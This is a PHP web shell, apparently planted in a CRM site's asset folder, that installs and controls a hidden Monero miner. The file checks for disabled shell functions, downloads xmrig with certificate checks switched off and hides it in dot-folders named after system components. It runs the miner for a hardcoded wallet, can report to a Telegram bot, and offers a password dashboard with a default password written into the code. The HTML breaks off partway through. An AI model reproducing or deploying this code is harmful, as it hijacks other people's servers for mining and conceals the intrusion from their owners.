• File: miner-2.php
  • Full Path: /var/www/crm_set/assets/js/miner-2.php
  • Date Modified: 10/02/2026 8:42 AM
  • File size: 45.53 KB
  • MIME-type: text/x-php
  • Charset: utf-8
<?php
// =========================================================================
// min-yus.php - Universal Cross-Version Edition (PHP 5.4 to PHP 8.x+)
// =========================================================================
session_start();
@header('Content-Type: text/html; charset=utf-8');
@error_reporting(E_ALL);
@ini_set('display_errors', 0);

$cpu_limit = isset($_GET['limit']) ? intval($_GET['limit']) : 90;
$wallet = "8BUPPHuicRqdKGHHysPvv96ULqQniJSeoFCBqfC5FuK5H12HmAcnV3jge1ojddWZyQcbHsyhsbAHUN6cLL9hs6QL42NiSLZ";
$tg_bot_token = "";
$tg_chat_id = "";

$is_root = (function_exists('posix_getuid') && posix_getuid() === 0) || (function_exists('getmyuid') && getmyuid() === 0);
$uid = function_exists('posix_getuid') ? @posix_getuid() : (function_exists('getmyuid') ? @getmyuid() : 1000);

// =========================================================================
// EXECUTOR DETECTOR & SAFE COMMAND WRAPPER
// =========================================================================
function get_active_executor() {
    $disabled = @ini_get('disable_functions');
    $disabled = $disabled ? array_map('trim', explode(',', $disabled)) : array();
    $priority = array('proc_open', 'shell_exec', 'exec', 'system', 'passthru', 'popen');
    foreach ($priority as $func) {
        if (function_exists($func) && !in_array($func, $disabled)) {
            return $func;
        }
    }
    return null;
}

function run_system_command($cmd) {
    $executor = get_active_executor();
    if (!$executor) return false;

    switch ($executor) {
        case 'shell_exec':
            return @shell_exec($cmd);
        case 'exec':
            $output = array();
            @exec($cmd, $output);
            return implode("\n", $output);
        case 'system':
            ob_start();
            @system($cmd);
            return ob_get_clean();
        case 'passthru':
            ob_start();
            @passthru($cmd);
            return ob_get_clean();
        case 'popen':
            $handle = @popen($cmd, 'r');
            $read = '';
            if ($handle) {
                while (!feof($handle)) {
                    $read .= @fread($handle, 2048);
                }
                @pclose($handle);
            }
            return $read;
        case 'proc_open':
            $descriptors = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
            $process = @proc_open($cmd, $descriptors, $pipes);
            $output = '';
            if (is_resource($process)) {
                $output = @stream_get_contents($pipes[1]);
                @fclose($pipes[0]);
                @fclose($pipes[1]);
                @fclose($pipes[2]);
                @proc_close($process);
            }
            return $output;
        default:
            return false;
    }
}

$detected_executor = get_active_executor();

// =========================================================================
// ROBUST DOWNLOAD HELPER
// =========================================================================
function download_file_robust($url, $destination) {
    $curl_cmd = "curl -kfsSL " . escapeshellarg($url) . " -o " . escapeshellarg($destination) . " 2>/dev/null";
    run_system_command($curl_cmd);
    if (file_exists($destination) && filesize($destination) > 1024) return true;

    $wget_cmd = "wget --no-check-certificate -q " . escapeshellarg($url) . " -O " . escapeshellarg($destination) . " 2>/dev/null";
    run_system_command($wget_cmd);
    if (file_exists($destination) && filesize($destination) > 1024) return true;

    if (@ini_get('allow_url_fopen')) {
        $context = stream_context_create(array("ssl" => array("verify_peer" => false, "verify_peer_name" => false)));
        $content = @file_get_contents($url, false, $context);
        if ($content !== false && strlen($content) > 1024) {
            @file_put_contents($destination, $content, LOCK_EX);
            return true;
        }
    }
    return false;
}

// =========================================================================
// SETTINGS & DIRECTORY MANAGEMENT
// =========================================================================
$settings_file = __DIR__ . '/.mo_settings.json';
if (!is_writable(__DIR__) && !file_exists($settings_file)) {
    $settings_file = sys_get_temp_dir() . '/.mo_settings_' . md5(__FILE__) . '.json';
}
$app_settings = file_exists($settings_file) ? json_decode(@file_get_contents($settings_file), true) : array();
if (!is_array($app_settings)) $app_settings = array();
$custom_dir = isset($app_settings['custom_dir']) ? $app_settings['custom_dir'] : '';

$miner_dir = "";
if (!empty($custom_dir)) {
    @mkdir($custom_dir, 0755, true);
    if (is_dir($custom_dir) && is_writable($custom_dir)) $miner_dir = rtrim($custom_dir, '/');
}

if (empty($miner_dir)) {
    $home_dir = getenv('HOME');
    $candidate_dirs = array(
        $home_dir ? $home_dir . '/.cache/.fontconfig/.data' : '',
        "/var/tmp/.systemd-private-$uid",
        "/var/cache/.ldconfig",
        "/dev/shm/.dbus-session",
        sys_get_temp_dir() . "/.cache-$uid"
    );
    foreach ($candidate_dirs as $dir) {
        if (empty($dir)) continue;
        @mkdir($dir, 0755, true);
        if (is_dir($dir) && is_writable($dir)) { $miner_dir = $dir; break; }
    }
    if (empty($miner_dir)) {
        $miner_dir = sys_get_temp_dir() . "/.cache-$uid";
        @mkdir($miner_dir, 0755, true);
    }
}

$work_dir = $miner_dir . '/.lib';
@mkdir($work_dir, 0755, true);
@chdir($work_dir);

$f_pid = $work_dir . '/.pid';
$config_file = $work_dir . '/config.json';
$xmrig_bin = $work_dir . '/xmrig';
$log_file = $work_dir . '/xmrig.log';
$passwd_file = $work_dir . '/.passwd.json';
$app_salt = "MoneroOcean_Secure_Salt_2026";

if (!file_exists($passwd_file)) {
    $default_hash = hash('sha256', "PI-OCEAN" . $app_salt);
    @file_put_contents($passwd_file, json_encode(array('hash' => $default_hash)), LOCK_EX);
}

$auth_data = json_decode(@file_get_contents($passwd_file), true);
$expected_password_hash = isset($auth_data['hash']) ? $auth_data['hash'] : hash('sha256', "PI-OCEAN" . $app_salt);

$login_error = "";
if (isset($_POST['login_password'])) {
    $input_hash = hash('sha256', $_POST['login_password'] . $app_salt);
    $is_match = function_exists('hash_equals') ? hash_equals($expected_password_hash, $input_hash) : ($expected_password_hash === $input_hash);
    if ($is_match) {
        $_SESSION['authenticated'] = true;
        header("Location: " . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $login_error = "Invalid password.";
    }
}

if (isset($_GET['action']) && $_GET['action'] === 'logout') {
    unset($_SESSION['authenticated']);
    @session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

$is_authenticated = isset($_SESSION['authenticated']) && $_SESSION['authenticated'] === true;

$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443)) ? "https://" : "http://";
$site_url = $protocol . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost');
$parsed_host = parse_url($site_url, PHP_URL_HOST);
$pass_host = preg_replace('/[^a-zA-Z0-9\-]/', '-', $parsed_host ? $parsed_host : 'na');
if (empty($pass_host)) $pass_host = "na";

function tg_send($msg, $token, $chat_id) {
    if (empty($token) || empty($chat_id)) return;
    $url = "https://api.telegram.org/bot{$token}/sendMessage";
    $payload = json_encode(array("chat_id" => $chat_id, "text" => $msg, "parse_mode" => "HTML"));
    $options = array('http' => array('header' => "Content-Type: application/json\r\n", 'method' => 'POST', 'content' => $payload, 'timeout' => 5));
    @file_get_contents($url, false, stream_context_create($options));
}

$cpu_cores = intval(run_system_command('nproc 2>/dev/null'));
if ($cpu_cores <= 0) $cpu_cores = 4;

$ram_mb = 4096; $ram_free = 4096;
if (file_exists('/proc/meminfo')) {
    $meminfo = @file_get_contents('/proc/meminfo');
    if (preg_match('/MemTotal:\s+(\d+)\s+kB/', $meminfo, $m)) $ram_mb = intval($m[1] / 1024);
    if (preg_match('/MemAvailable:\s+(\d+)\s+kB/', $meminfo, $m)) $ram_free = intval($m[1] / 1024);
}
$arch = php_uname('m');

function check_miner_running($pfile, $bin_path) {
    if (file_exists($pfile)) {
        $pid = intval(file_get_contents($pfile));
        if ($pid > 0) {
            if (function_exists('posix_kill') && @posix_kill($pid, 0)) {
                return $pid;
            }
            if (file_exists("/proc/{$pid}")) {
                return $pid;
            }
        }
    }
    $ps_out = trim(run_system_command("ps aux | grep '[x]mrig' | grep -v grep 2>/dev/null"));
    if (!empty($ps_out)) {
        $lines = explode("\n", $ps_out);
        $parts = preg_split('/\s+/', trim($lines[0]));
        if (isset($parts[1]) && is_numeric($parts[1])) return intval($parts[1]);
    }
    if (file_exists($pfile)) @unlink($pfile);
    return false;
}

$action = isset($_GET['action']) ? $_GET['action'] : '';

$restricted_actions = array('status', 'stop', 'restart', 'install', 'uninstall', 'update_wallet', 'change_password', 'get_logs', 'get_config', 'save_config', 'update_custom_dir');
if (!empty($action) && in_array($action, $restricted_actions)) {
    if (!$is_authenticated) {
        @header('Content-Type: application/json; charset=utf-8');
        echo json_encode(array("success" => false, "message" => "Unauthorized access."));
        exit;
    }
}

$active_wallet = $wallet;
$active_pass = $pass_host;
if (file_exists($config_file)) {
    $cfg = json_decode(@file_get_contents($config_file), true);
    if (isset($cfg['pools'][0]['user']) && !empty($cfg['pools'][0]['user']) && $cfg['pools'][0]['user'] !== 'YOUR_WALLET_ADDRESS') {
        $active_wallet = $cfg['pools'][0]['user'];
    }
    if (isset($cfg['pools'][0]['pass']) && !empty($cfg['pools'][0]['pass']) && $cfg['pools'][0]['pass'] !== 'x') {
        $active_pass = $cfg['pools'][0]['pass'];
    }
}

if ($action === 'status') {
    @header('Content-Type: application/json; charset=utf-8');
    $uptime = 0;
    $running_pid = check_miner_running($f_pid, $xmrig_bin);
    $isRunning = ($running_pid !== false);
    $process_info = $isRunning ? "Active PID: {$running_pid}" : "Not Running";

    if ($isRunning) {
        $etimes = trim(run_system_command("ps -o etimes= -p {$running_pid} 2>/dev/null"));
        if (is_numeric($etimes)) $uptime = intval($etimes);
    } else {
        if (file_exists($f_pid)) @unlink($f_pid);
    }

    echo json_encode(array(
        "status" => $isRunning ? "RUNNING" : "STOPPED",
        "running_address" => $active_wallet,
        "running_pass" => $active_pass,
        "site_url" => $site_url,
        "pass_tag" => $pass_host,
        "cores" => $cpu_cores,
        "ram" => $ram_mb,
        "uptime" => $uptime,
        "executor" => $detected_executor ? $detected_executor : "None",
        "process_info" => $process_info,
        "binary_exists" => file_exists($xmrig_bin),
        "binary_executable" => file_exists($xmrig_bin) && is_executable($xmrig_bin),
        "dir_writable" => is_writable($work_dir),
        "is_root" => $is_root,
        "work_dir" => $work_dir,
        "custom_dir" => $custom_dir
    ));
    exit;
}

if ($action === 'update_custom_dir' && isset($_POST['custom_dir'])) {
    @header('Content-Type: application/json; charset=utf-8');
    $new_dir = trim($_POST['custom_dir']);
    if (!empty($new_dir)) {
        @mkdir($new_dir, 0755, true);
        if (!is_dir($new_dir) || !is_writable($new_dir)) {
            echo json_encode(array("success" => false, "message" => "Directory does not exist or is not writable."));
            exit;
        }
    }
    $app_settings['custom_dir'] = $new_dir;
    @file_put_contents($settings_file, json_encode($app_settings), LOCK_EX);
    echo json_encode(array("success" => true, "message" => "Custom directory saved successfully!"));
    exit;
}

if ($action === 'get_logs') {
    @header('Content-Type: application/json; charset=utf-8');
    $logs = "Log file is empty or does not exist yet.";
    if (file_exists($log_file)) {
        $tail_out = trim(run_system_command("tail -n 90 " . escapeshellarg($log_file) . " 2>/dev/null"));
        $logs = !empty($tail_out) ? $tail_out : @file_get_contents($log_file);
    }
    echo json_encode(array("success" => true, "logs" => $logs));
    exit;
}

if ($action === 'get_config') {
    @header('Content-Type: application/json; charset=utf-8');
    echo json_encode(array("success" => true, "config" => file_exists($config_file) ? file_get_contents($config_file) : "{}"));
    exit;
}

if ($action === 'save_config' && isset($_POST['config_json'])) {
    @header('Content-Type: application/json; charset=utf-8');
    $decoded = json_decode($_POST['config_json'], true);
    if ($decoded === null) {
        echo json_encode(array("success" => false, "message" => "Invalid JSON format."));
        exit;
    }
    if (isset($decoded['pools'][0]['url']) && preg_match('/:(\d+)$/', $decoded['pools'][0]['url'], $m)) {
        $decoded['pools'][0]['tls'] = (intval($m[1]) >= 20000);
    }
    $decoded['log-file'] = "xmrig.log";
    
    $json_flags = defined('JSON_PRETTY_PRINT') ? (JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) : 0;
    @file_put_contents($config_file, json_encode($decoded, $json_flags), LOCK_EX);
    echo json_encode(array("success" => true, "message" => "Configuration saved successfully."));
    exit;
}

if ($action === 'stop') {
    @header('Content-Type: application/json; charset=utf-8');
    if (file_exists($f_pid)) {
        $p = intval(file_get_contents($f_pid));
        if ($p > 0) run_system_command("kill -9 $p 2>/dev/null");
        @unlink($f_pid);
    }
    run_system_command("pkill -9 -f xmrig 2>/dev/null");
    echo json_encode(array("success" => true, "message" => "Process successfully terminated."));
    exit;
}

if ($action === 'uninstall') {
    @header('Content-Type: application/json; charset=utf-8');
    if (file_exists($f_pid)) {
        $p = intval(@file_get_contents($f_pid));
        if ($p > 0) run_system_command("kill -9 $p 2>/dev/null");
        @unlink($f_pid);
    }
    run_system_command("pkill -9 -f xmrig 2>/dev/null");
    if (is_dir($work_dir)) {
        $files = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($work_dir, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::CHILD_FIRST
        );
        foreach ($files as $fileinfo) {
            $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
            @$todo($fileinfo->getRealPath());
        }
        @rmdir($work_dir);
    }
    echo json_encode(array("success" => true, "message" => "Node completely uninstalled."));
    exit;
}

if ($action === 'restart' || $action === 'install') {
    @header('Content-Type: application/json; charset=utf-8');
    run_system_command("pkill -9 -f xmrig 2>/dev/null");
    if (file_exists($f_pid)) @unlink($f_pid);

    $mo_url = "https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz";
    $tmp_file = $work_dir . '/.tmp';

    if (!file_exists($xmrig_bin)) {
        if (download_file_robust($mo_url, $tmp_file)) {
            run_system_command("tar -xf " . escapeshellarg($tmp_file) . " -C " . escapeshellarg($work_dir) . " 2>/dev/null");
            @unlink($tmp_file);
        }
    }

    $threads = $cpu_cores;
    $mtr = intval($ram_mb / 2048); if ($mtr < 1) $mtr = 1; if ($mtr < $threads) $threads = $mtr;
    $ehr = intval($threads * 700 / 1000); if ($ehr < 1) $ehr = 1;
    $mp = $ehr * 30; if ($mp < 1) $mp = 1;
    
    $powers_of_2 = array(1,2,4,8,16,32,64,128,256,512,1024,2048,4096,8192);
    foreach ($powers_of_2 as $_p2) {
        if ($_p2 >= $mp) { $mp = $_p2; break; }
    }
    $mo_port = 10000 + $mp;
    $rx_mode = ($ram_free < 2400 || $ram_mb < 3072) ? "light" : "fast";
    $active_pool_url = "gulf.moneroocean.stream:" . $mo_port;

    if (file_exists($config_file)) {
        $existing_cfg = json_decode(@file_get_contents($config_file), true);
        if (is_array($existing_cfg)) {
            if (isset($existing_cfg['pools'][0]['user']) && !empty($existing_cfg['pools'][0]['user']) && $existing_cfg['pools'][0]['user'] !== 'YOUR_WALLET_ADDRESS') {
                $active_wallet = $existing_cfg['pools'][0]['user'];
            }
            if (isset($existing_cfg['pools'][0]['pass']) && !empty($existing_cfg['pools'][0]['pass']) && $existing_cfg['pools'][0]['pass'] !== 'x') {
                $active_pass = $existing_cfg['pools'][0]['pass'];
            }
            if (isset($existing_cfg['pools'][0]['url']) && !empty($existing_cfg['pools'][0]['url'])) {
                $active_pool_url = $existing_cfg['pools'][0]['url'];
            }
        }
    }

    $detected_port = 10128;
    if (preg_match('/:(\d+)$/', $active_pool_url, $matches)) {
        $detected_port = intval($matches[1]);
    }
    $active_tls = ($detected_port >= 20000);

    $config_data = array(
        "autosave" => false, "background" => false, "colors" => false,
        "randomx" => array("mode" => $rx_mode),
        "cpu" => array("huge-pages" => true, "max-threads-hint" => $cpu_limit, "memory-pool" => ($rx_mode === "fast")),
        "donate-level" => 1, "log-file" => "xmrig.log",
        "pools" => array(array(
            "url" => $active_pool_url, 
            "user" => $active_wallet, 
            "pass" => $active_pass, 
            "keepalive" => true, 
            "tls" => $active_tls
        )),
        "print-time" => 60, "retries" => 5, "retry-pause" => 5
    );
    
    $json_flags = defined('JSON_PRETTY_PRINT') ? (JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) : 0;
    @file_put_contents($config_file, json_encode($config_data, $json_flags), LOCK_EX);

    if (file_exists($xmrig_bin)) {
        @chmod($xmrig_bin, 0755);
        $cmd = sprintf("nohup %s -c %s > xmrig.log 2>&1 & echo $!", escapeshellarg($xmrig_bin), escapeshellarg($config_file));
        $pid = trim(run_system_command($cmd));
        if (!empty($pid)) {
            @file_put_contents($f_pid, $pid, LOCK_EX);
            tg_send("<b>[MoneroOcean INSTALLED]</b>\n<b>URL:</b> {$site_url}", $tg_bot_token, $tg_chat_id);
            echo json_encode(array("success" => true, "message" => "Engine started successfully."));
            exit;
        }
    }
    echo json_encode(array("success" => false, "message" => "Failed to start binary engine."));
    exit;
}

if ($action === 'update_wallet' && isset($_POST['wallet'])) {
    @header('Content-Type: application/json; charset=utf-8');
    $new_wallet = trim($_POST['wallet']);
    $new_pass = isset($_POST['pass']) ? trim($_POST['pass']) : $pass_host;
    if (!empty($new_wallet) && file_exists($config_file)) {
        $cfg = json_decode(@file_get_contents($config_file), true);
        if (isset($cfg['pools'][0])) {
            $cfg['pools'][0]['user'] = $new_wallet;
            $cfg['pools'][0]['pass'] = $new_pass;
            $json_flags = defined('JSON_PRETTY_PRINT') ? (JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) : 0;
            @file_put_contents($config_file, json_encode($cfg, $json_flags), LOCK_EX);
            echo json_encode(array("success" => true, "message" => "Wallet updated successfully."));
            exit;
        }
    }
    echo json_encode(array("success" => false, "message" => "Failed to update configuration."));
    exit;
}

if ($action === 'change_password' && isset($_POST['current_password'], $_POST['new_password'])) {
    @header('Content-Type: application/json; charset=utf-8');
    $current_input_hash = hash('sha256', $_POST['current_password'] . $app_salt);
    $is_match = function_exists('hash_equals') ? hash_equals($expected_password_hash, $current_input_hash) : ($expected_password_hash === $current_input_hash);
    if ($is_match) {
        $new_pass = trim($_POST['new_password']);
        if (strlen($new_pass) >= 4) {
            $new_hash = hash('sha256', $new_pass . $app_salt);
            @file_put_contents($passwd_file, json_encode(array('hash' => $new_hash)), LOCK_EX);
            echo json_encode(array("success" => true, "message" => "Password changed successfully."));
        } else {
            echo json_encode(array("success" => false, "message" => "Password must be at least 4 characters."));
        }
    } else {
        echo json_encode(array("success" => false, "message" => "Current password is incorrect."));
    }
    exit;
}
?>
<!DOCTYPE html>
<html lang="en" data-theme="dark">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>MoneroOcean Dashboard • Universal Edition</title>
    <style>
        :root[data-theme="dark"] {
            --bg-main: #0b0e14; --bg-card: #151b24; --bg-input: #0d1219;
            --border-color: #263244; --text-main: #e2e8f0; --text-muted: #8a99ad;
            --accent-orange: #f26822; --accent-orange-hover: #d95817;
            --badge-green-bg: rgba(16, 185, 129, 0.15); --badge-green-text: #34d399;
            --badge-red-bg: rgba(239, 68, 68, 0.15); --badge-red-text: #f87171;
        }
        :root[data-theme="light"] {
            --bg-main: #f1f5f9; --bg-card: #ffffff; --bg-input: #f8fafc;
            --border-color: #cbd5e1; --text-main: #1e293b; --text-muted: #64748b;
            --accent-orange: #f26822; --accent-orange-hover: #d95817;
            --badge-green-bg: rgba(16, 185, 129, 0.1); --badge-green-text: #059669;
            --badge-red-bg: rgba(239, 68, 68, 0.1); --badge-red-text: #dc2626;
        }
        * { box-sizing: border-box; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
            background-color: var(--bg-main); color: var(--text-main);
            margin: 0; padding: 0; width: 100vw; min-height: 100vh;
            display: flex; flex-direction: column; transition: background-color 0.3s, color 0.3s;
        }
        .app-header {
            background-color: var(--bg-card); border-bottom: 1px solid var(--border-color);
            padding: 10px 20px; display: flex; justify-content: space-between; align-items: center; width: 100%;
        }
        .brand-title { font-size: 1.05rem; font-weight: 700; display: flex; align-items: center; gap: 8px; }
        .brand-title span.highlight { color: var(--accent-orange); }
        .header-controls { display: flex; align-items: center; gap: 10px; }
        .theme-toggle, .logout-btn {
            background: var(--bg-input); border: 1px solid var(--border-color); color: var(--text-main);
            padding: 5px 10px; border-radius: 6px; cursor: pointer; font-size: 0.8rem; font-weight: 600; text-decoration: none;
        }
        .main-container { flex: 1; width: 100%; max-width: 1100px; margin: 0 auto; padding: 16px 20px; display: flex; flex-direction: column; gap: 14px; }
        .login-wrapper { flex: 1; display: flex; align-items: center; justify-content: center; padding: 24px; width: 100%; }
        .login-card { background-color: var(--bg-card); border: 1px solid var(--border-color); border-radius: 10px; padding: 28px; width: 100%; max-width: 400px; }
        .slide-nav { display: flex; background: var(--bg-card); border: 1px solid var(--border-color); border-radius: 8px; padding: 4px; gap: 4px; }
        .slide-tab {
            flex: 1; background: transparent; border: none; color: var(--text-muted); padding: 8px 10px;
            border-radius: 6px; font-weight: 600; font-size: 0.8rem; cursor: pointer; text-align: center;
        }
        .slide-tab.active { background: var(--accent-orange); color: #ffffff; }
        .slides-viewport { position: relative; width: 100%; }
        .slide-pane { display: none; }
        .slide-pane.active { display: block; }
        .card { background-color: var(--bg-card); border: 1px solid var(--border-color); border-radius: 8px; padding: 16px 20px; display: flex; flex-direction: column; justify-content: space-between; }
        .card-title { margin-top: 0; font-size: 0.98rem; font-weight: 600; border-bottom: 1px solid var(--border-color); padding-bottom: 8px; display: flex; justify-content: space-between; align-items: center; margin-bottom: 12px; }
        .status-badge { font-size: 0.65rem; padding: 3px 8px; border-radius: 20px; font-weight: 700; text-transform: uppercase; }
        .badge-running { background-color: var(--badge-green-bg); color: var(--badge-green-text); border: 1px solid rgba(52, 211, 153, 0.3); }
        .badge-stopped { background-color: var(--badge-red-bg); color: var(--badge-red-text); border: 1px solid rgba(248, 113, 113, 0.3); }
        .info-row { display: flex; justify-content: space-between; align-items: center; margin: 6px 0; font-size: 0.82rem; color: var(--text-muted); border-bottom: 1px dashed var(--border-color); padding-bottom: 6px; }
        .info-row span.val { color: var(--text-main); font-weight: 500; word-break: break-all; text-align: right; max-width: 65%; }
        .info-row span.val-sm { font-family: monospace; font-size: 0.72rem; color: var(--accent-orange); }
        .process-box { background-color: var(--bg-input); border: 1px solid var(--border-color); border-radius: 6px; padding: 8px 10px; font-family: monospace; font-size: 0.72rem; color: var(--accent-orange); margin-top: 4px; white-space: pre-wrap; }
        .logs-box, .config-editor { background-color: #05070a; border: 1px solid var(--border-color); border-radius: 6px; padding: 12px; font-family: monospace; font-size: 0.76rem; color: #34d399; height: 400px; overflow-y: auto; width: 100%; resize: vertical; outline: none; }
        .config-editor { color: #e2e8f0; }
        
        /* Highlight rule for accepted shares in logs */
        .log-accepted {
            color: #38bdf8;
            background-color: rgba(56, 189, 248, 0.15);
            padding: 1px 4px;
            border-radius: 4px;
            font-weight: bold;
        }

        .btn-grid { display: grid; grid-template-columns: 1fr 1fr 1fr; gap: 10px; margin-top: 14px; }
        .settings-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
        .settings-col { display: flex; flex-direction: column; gap: 10px; }
        button.action-btn, .submit-btn { background-color: var(--accent-orange); color: white; border: none; padding: 9px 12px; border-radius: 6px; font-weight: 600; cursor: pointer; width: 100%; font-size: 0.81rem; }
        button.action-btn:hover, .submit-btn:hover { background-color: var(--accent-orange-hover); }
        button.btn-danger { background-color: #dc2626; }
        button.btn-secondary { background-color: var(--border-color); color: var(--text-main); }
        .form-group { background: var(--bg-input); border: 1px solid var(--border-color); border-radius: 6px; padding: 10px 12px; }
        label { display: block; font-size: 0.78rem; margin-bottom: 4px; color: var(--text-muted); font-weight: 600; }
        input[type="text"], input[type="password"] { width: 100%; padding: 7px 10px; border-radius: 6px; border: 1px solid var(--border-color); background-color: var(--bg-main); color: var(--text-main); font-size: 0.8rem; outline: none; margin-bottom: 6px; }
        .toast { position: fixed; top: 20px; right: 20px; z-index: 9999; min-width: 260px; padding: 12px 16px; border-radius: 8px; font-size: 0.85rem; font-weight: 600; display: none; }
        .toast-success { background: rgba(16, 185, 129, 0.95); color: #ffffff; }
        .toast-error { background: rgba(239, 68, 68, 0.95); color: #ffffff; }
        .app-footer { text-align: center; font-size: 0.75rem; color: var(--text-muted); padding: 10px; border-top: 1px solid var(--border-color); background-color: var(--bg-card); width: 100%; margin-top: auto; }
        .app-footer a { color: var(--accent-orange); text-decoration: none; }
    </style>
</head>
<body>
    <div id="toast" class="toast"></div>

    <header class="app-header">
        <div class="brand-title">
            <span>⚡</span> MoneroOcean <span class="highlight">Control Node</span>
        </div>
        <div class="header-controls">
            <button class="theme-toggle" onclick="toggleTheme()">
                <span id="themeIcon">☀️</span> <span id="themeText">Light Mode</span>
            </button>
            <?php if ($is_authenticated): ?>
                <a href="?action=logout" class="logout-btn">Logout</a>
            <?php endif; ?>
        </div>
    </header>

    <?php if (!$is_authenticated): ?>
        <div class="login-wrapper">
            <div class="login-card">
                <h2 style="margin-top: 0; font-size: 1.15rem; font-weight: 700; margin-bottom: 6px;">Node Authentication</h2>
                <p style="font-size: 0.82rem; color: var(--text-muted); margin-bottom: 16px;">Please enter your password to access the control panel.</p>
                
                <?php if (!empty($login_error)): ?>
                    <div style="background: var(--badge-red-bg); color: var(--badge-red-text); padding: 8px; border-radius: 6px; font-size: 0.82rem; margin-bottom: 12px;">
                        <?php echo htmlspecialchars($login_error); ?>
                    </div>
                <?php endif; ?>

                <form method="POST" action="">
                    <div style="margin-bottom: 12px;">
                        <label for="login_password">Password:</label>
                        <input type="password" id="login_password" name="login_password" placeholder="Enter password..." required autofocus>
                    </div>
                    <button type="submit" class="submit-btn">Authenticate</button>
                </form>
            </div>
        </div>
    <?php else: ?>
        <div class="main-container">
            <div class="slide-nav">
                <button class="slide-tab active" onclick="switchSlide(0)">⚡ Status & Control</button>
                <button class="slide-tab" onclick="switchSlide(1)">🛠️ Security & Settings</button>
                <button class="slide-tab" onclick="switchSlide(2)">📝 JSON Config</button>
                <button class="slide-tab" onclick="switchSlide(3)">📊 Live Logs</button>
            </div>

            <div class="slides-viewport">
                <div id="slide-0" class="slide-pane active">
                    <div class="card">
                        <div>
                            <h2 class="card-title">
                                <span>MoneroOcean Engine Status</span>
                                <span id="statusBadge" class="status-badge badge-stopped">Loading...</span>
                            </h2>
                            
                            <div class="info-row"><span>Working Dir:</span> <span id="workDirDisplay" class="val val-sm">-</span></div>
                            <div class="info-row"><span>Active Executor:</span> <span id="activeExecutor" class="val" style="color: var(--accent-orange);">-</span></div>
                            <div class="info-row"><span>Site URL / Tag:</span> <span id="siteUrl" class="val">-</span></div>
                            <div class="info-row"><span>CPU Cores / RAM:</span> <span id="sysInfo" class="val">-</span></div>
                            <div class="info-row"><span>Process Uptime:</span> <span id="uptimeDisplay" class="val" style="font-weight: 700;">0s</span></div>
                            <div class="info-row"><span>Binary Exists:</span> <span id="binExists" class="val">-</span></div>
                            <div class="info-row"><span>Binary Executable:</span> <span id="binExec" class="val">-</span></div>
                            <div class="info-row"><span>WorkDir Writable:</span> <span id="dirWritable" class="val">-</span></div>
                            
                            <div style="margin-top: 10px;">
                                <div style="font-size: 0.78rem; color: var(--text-muted); margin-bottom: 3px;">Active Wallet:</div>
                                <div id="activeWallet" style="font-family: monospace; font-size: 0.74rem; background: var(--bg-input); padding: 8px; border-radius: 6px; border: 1px solid var(--border-color); word-break: break-all;">-</div>
                            </div>
                        </div>

                        <div class="btn-grid">
                            <button class="action-btn" onclick="triggerAction('install')">Start / Install</button>
                            <button class="action-btn btn-secondary" onclick="triggerAction('restart')">Restart</button>
                            <button class="action-btn btn-danger" onclick="triggerAction('stop')">Stop</button>
                        </div>
                    </div>
                </div>

                <div id="slide-1" class="slide-pane">
                    <div class="card">
                        <h2 class="card-title"><span>Configuration & Security Management</span></h2>

                        <div class="settings-grid">
                            <div class="settings-col">
                                <div class="form-group" style="padding: 8px 10px;">
                                    <label>Process State:</label>
                                    <div id="processInfoBox" class="process-box">Checking state...</div>
                                </div>

                                <div class="form-group">
                                    <label for="customDirInput">Custom Installation Directory:</label>
                                    <input type="text" id="customDirInput" placeholder="e.g. /home/user/custom_dir">
                                    <button class="action-btn btn-secondary" onclick="updateCustomDir()" style="padding: 6px; font-size: 0.76rem;">Set Directory</button>
                                </div>

                                <div class="form-group">
                                    <label for="walletInput">Update Wallet Address:</label>
                                    <input type="text" id="walletInput" value="<?php echo htmlspecialchars($active_wallet); ?>" placeholder="Monero Address...">
                                    <label for="passInput" style="margin-top: 4px;">Worker Pass / Tag:</label>
                                    <input type="text" id="passInput" value="<?php echo htmlspecialchars($active_pass); ?>" placeholder="Worker tag...">
                                    <button class="action-btn" onclick="updateWallet()" style="padding: 6px; font-size: 0.76rem;">Save Wallet</button>
                                </div>
                            </div>

                            <div class="settings-col">
                                <div class="form-group">
                                    <label>Change Dashboard Password:</label>
                                    <input type="password" id="currentPassword" placeholder="Current Password...">
                                    <input type="password" id="newPassword" placeholder="New Password (min 4 chars)...">
                                    <button class="action-btn btn-secondary" onclick="changePassword()" style="padding: 6px; font-size: 0.76rem;">Update Password</button>
                                </div>

                                <div class="form-group" style="border-color: rgba(239, 68, 68, 0.3); background: rgba(239, 68, 68, 0.03);">
                                    <label style="color: var(--badge-red-text);">Danger Zone / Node Removal:</label>
                                    <p style="font-size: 0.74rem; color: var(--text-muted); margin: 4px 0 8px 0;">Stops process, deletes working directory, logs, configs.</p>
                                    <button class="action-btn btn-danger" onclick="triggerUninstall()" style="padding: 8px; font-size: 0.78rem;">Uninstall Node Completely</button>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

                <div id="slide-2" class="slide-pane">
                    <div class="card">
                        <h2 class="card-title">
                            <span>Edit `config.json`</span>
                            <button class="action-btn" onclick="saveConfig()" style="width: auto; padding: 5px 14px; font-size: 0.76rem;">Save Config</button>
                        </h2>
                        <textarea id="configEditor" class="config-editor" spellcheck="false">Loading configuration...</textarea>
                    </div>
                </div>

                <div id="slide-3" class="slide-pane">
                    <div class="card">
                        <h2 class="card-title">
                            <span>XMRig Live Logs (`xmrig.log`)</span>
